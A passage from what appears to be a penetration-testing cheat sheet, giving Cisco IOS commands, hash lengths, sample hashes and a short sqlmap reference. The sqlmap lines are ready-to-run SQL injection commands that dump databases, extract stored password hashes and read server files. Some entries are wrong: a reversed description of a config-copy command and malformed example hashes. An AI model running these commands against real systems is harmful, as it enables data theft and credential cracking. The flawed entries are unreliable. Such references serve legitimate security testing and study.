<code># terminal length 0</code>	No limit on terminal output
<code># copy running-config tftp</code>	Copies running config to tftp server
<code># copy running-config startup-config</code>	Copy startup-config to running-config

## Hash Lengths

HASH	SIZE
MD5 Hash Length	16 Bytes
SHA-1 Hash Length	20 Bytes
SHA-256 Hash Length	32 Bytes
SHA-512 Hash Length	64 Bytes

## Hash Examples

Likely just use **hash-identifier** for this but here are some example hashes:

HASH	EXAMPLE
MD5 Hash Example	8743b52063cd84097a65d1633f5c74f5
MD5 \$PASS:\$SALT Example	01dfa6e5d4d90d9892622325959afbe:7050461
MD5 \$SALT:\$PASS	f0fda58630310a6dd91a7d8f0a4ceda2:4225637426
SHA1 Hash Example	b89eaac7e61417341b710b727768294d0e6a277b
SHA1 \$PASS:\$SALT	2fc5a684737ce1bf7b3b239df432416e0dd07357:2014
SHA1 \$SALT:\$PASS	cac35ec206d868b7d7cb0b55f31d9425b075082b;5363620024
SHA-256	127e6fbfe24a750e72930c220a8e138275656b 8e5d8f48a98c3c92df2cabab935
SHA-256 \$PASS:\$SALT	c73d08de890479518ed60cf670d17faa26a4a7 1f995c1dcc978165399401a6c4
SHA-256 \$SALT:\$PASS	eb368a2df38b405f014118c7d9747fcc97f4 f0ee75c05963cd9da6ee65ef498:560407001617
SHA-512	82a9dda829eb7f8ffe9fbe49e45d47d2dad9 664fb7adf72492e3c81ebd3e29134d9bc 12212bf83c6840f10e8246b9db54a4 859b7cc0123d86e5872c1e5082f
SHA-512 \$PASS:\$SALT	e5c3ede3e49fb86592fb03f471c35ba13e8 d89b8ab65142c9a8fdaf635fa2223c24e5 558fd9313e8995019dcbec1fb58414 6b7bb12685c7765fc8c0d51379fd
SHA-512 \$SALT:\$PASS	976b451818634a1e2acbba682da3fd6ef a72adf8a7a08d7939550c244b237c72c7d4236754 4e826c0c83fe5c02f97c0373b6b1 386cc794bf0d21d2df01bb9c08a
NTLM Hash Example	b4b9b02e6f09a9bd760f388b67351e2b

## SQLMap Examples

A mini SQLMap cheat sheet:

COMMAND	DESCRIPTION
sqlmap -u http://meh.com --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3	Automated sqlmap scan
sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE	

```
sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE  
--level=3 --current-user --current-db --passwords  
--file-read="/var/www/blah.php"
```

Targeted sqlmap scan

```
sqlmap -u "http://meh.com/meh.php?id=1"  
--dbms=mysql --tech=U --random-agent --dump
```

Scan url for union + error based injection with mysql backend and use a random user agent + database dump

```
sqlmap -o -u "http://meh.com/form/" --forms
```

sqlmap check form for injection

```
sqlmap -o -u "http://meh/vuln-form" --forms  
-D database-name -T users --dump
```

sqlmap dump and crack hashes for table users on database-name.

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